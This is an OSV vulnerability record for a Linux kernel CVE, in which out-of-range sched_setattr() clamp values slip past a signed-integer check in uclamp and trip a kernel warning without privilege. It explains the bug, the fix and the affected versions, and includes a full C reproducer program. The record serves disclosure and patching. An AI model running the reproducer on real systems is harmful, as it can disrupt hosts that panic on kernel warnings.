{
  "affected": [
    {
      "ranges": [
        {
          "events": [
            {
              "introduced": "480a6ca2dc6ed82c783faf7e4a9644769b8397d8"
            },
            {
              "fixed": "013876a21ca0e36a2b877d9d44639d9b2e16e22d"
            },
            {
              "fixed": "b4fd3e2f7cd854e3afa969b2bd851458452e5075"
            },
            {
              "fixed": "a5cb23398072e259872414091b05be17aec7c7e6"
            },
            {
              "fixed": "8127ec8458df29bd702db602473042ccb9e619b9"
            }
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "type": "GIT"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Linux",
        "name": "Kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.11.0"
            },
            {
              "fixed": "6.12.120"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "6.13.0"
            },
            {
              "fixed": "6.18.66"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "6.19.0"
            },
            {
              "fixed": "7.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "cna_assigner": "Linux",
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/143xxx/CVE-2026-143087.json"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE\n\nsched_setattr() accepts sched_util_min and sched_util_max values that do\nnot fit in uclamp_se::value. A single thread can do:\n\n  sched_setattr(max = 800)\t\treturns 0\n  sched_setattr(min = 0xfffffffe)\treturns 0\n  sched_getattr()\t\t\tmin=2046 max=800\n\nwhich leaves the minimum above both SCHED_CAPACITY_SCALE and the task's own\nmaximum.\n\nThe range check in uclamp_validate() relies on the + 1 wrapping -1, the\nreset value, to 0:\n\n\tif (util_min + 1 \u003e SCHED_CAPACITY_SCALE + 1)\n\nThat only works for an unsigned type. util_min and util_max are int and\nSCHED_CAPACITY_SCALE is a long, so every negative value passes the check,\nand so does INT_MAX, whose + 1 wraps.\n\nuclamp_se_set() then truncates what got through to the 11 bits of\nuclamp_se::value, but computes the bucket from the full value. A minimum\nof 0xfffff800 is stored as 0 in the top bucket, where uclamp_rq_max_value()\ntakes it for the highest active clamp once a higher value leaves the rq.\nThe rq clamp falls below what the remaining tasks requested, and emptying\ntheir bucket trips the WARN_ON_ONCE() in uclamp_rq_dec_id(), without any\nprivilege:\n\n  WARNING: kernel/sched/core.c:1862 at dequeue_task+0x2a3/0x2b0, CPU#0: repro/126\n  Call Trace:\n   __schedule+0x933/0x1320\n   schedule+0x36/0x100\n   do_nanosleep+0x61/0x190\n   hrtimer_nanosleep+0xb5/0x1d0\n\nMake util_min and util_max unsigned int, so that -1 is the only value that\nwraps. The pair check below is unaffected, since it skips -1 explicitly and\nanything else is at most SCHED_CAPACITY_SCALE by then.\n\nRequests that were only accepted because of this now fail with -EINVAL.\n\nThe following program triggers the warning when run by any user outside\na child cpu cgroup. With this applied, its 0xfffff800 request fails with\n-EINVAL and the warning no longer appears:\n\n  #define _GNU_SOURCE\n  #include \u003cpthread.h\u003e\n  #include \u003csched.h\u003e\n  #include \u003cstdint.h\u003e\n  #include \u003csys/syscall.h\u003e\n  #include \u003ctime.h\u003e\n  #include \u003cunistd.h\u003e\n\n  struct attr {\n      uint32_t size, policy;\n      uint64_t flags;\n      int32_t nice;\n      uint32_t prio;\n      uint64_t runtime, deadline, period;\n      uint32_t util_min, util_max;\n  };\n\n  static volatile int stop;\n\n  static void set_min(uint32_t v)\n  {\n      /* KEEP_POLICY | KEEP_PARAMS | UTIL_CLAMP_MIN */\n      struct attr a = { .size = sizeof(a), .flags = 0x38, .util_min = v };\n\n      syscall(SYS_sched_setattr, 0, \u0026a, 0);\n  }\n\n  static void burn(long us)\n  {\n      struct timespec s, n;\n\n      clock_gettime(CLOCK_MONOTONIC, \u0026s);\n      do\n          clock_gettime(CLOCK_MONOTONIC, \u0026n);\n      while ((n.tv_sec - s.tv_sec) * 1000000 +\n             (n.tv_nsec - s.tv_nsec) / 1000 \u003c us);\n  }\n\n  static void *bogus(void *arg)\n  {\n      set_min(0xfffff800);\n      while (!stop)\n          burn(1000);\n      return arg;\n  }\n\n  static void *worker(void *arg)\n  {\n      long v = (long)arg;\n\n      set_min(v);\n      while (!stop) {\n          burn(v == 800 ? 300 : 1500);\n          usleep(100);\n      }\n      return arg;\n  }\n\n  int main(void)\n  {\n      pthread_t t[3];\n      cpu_set_t c;\n      int i;\n\n      CPU_ZERO(\u0026c);\n      CPU_SET(0, \u0026c);\n      sched_setaffinity(0, sizeof(c), \u0026c);\n      pthread_create(\u0026t[0], NULL, bogus, NULL);\n      usleep(50000);\n      pthread_create(\u0026t[1], NULL, worker, (void *)500L);\n      pthread_create(\u0026t[2], NULL, worker, (void *)800L);\n      sleep(15);\n      stop = 1;\n      for (i = 0; i \u003c 3; i++)\n          pthread_join(t[i], NULL);\n      return 0;\n  }\n\nAn LLM helped find the warning and write this patch and its tests.",
  "id": "CVE-2026-143087",
  "modified": "2026-12-03T10:45:23.993026448Z",
  "published": "2026-12-03T09:19:09.171Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/013876a21ca0e36a2b877d9d44639d9b2e16e22d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8127ec8458df29bd702db602473042ccb9e619b9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a5cb23398072e259872414091b05be17aec7c7e6"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b4fd3e2f7cd854e3afa969b2bd851458452e5075"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/143xxx/CVE-2026-143087.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-143087"
    }
  ],
  "schema_version": "1.9.2",
  "summary": "sched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE"
}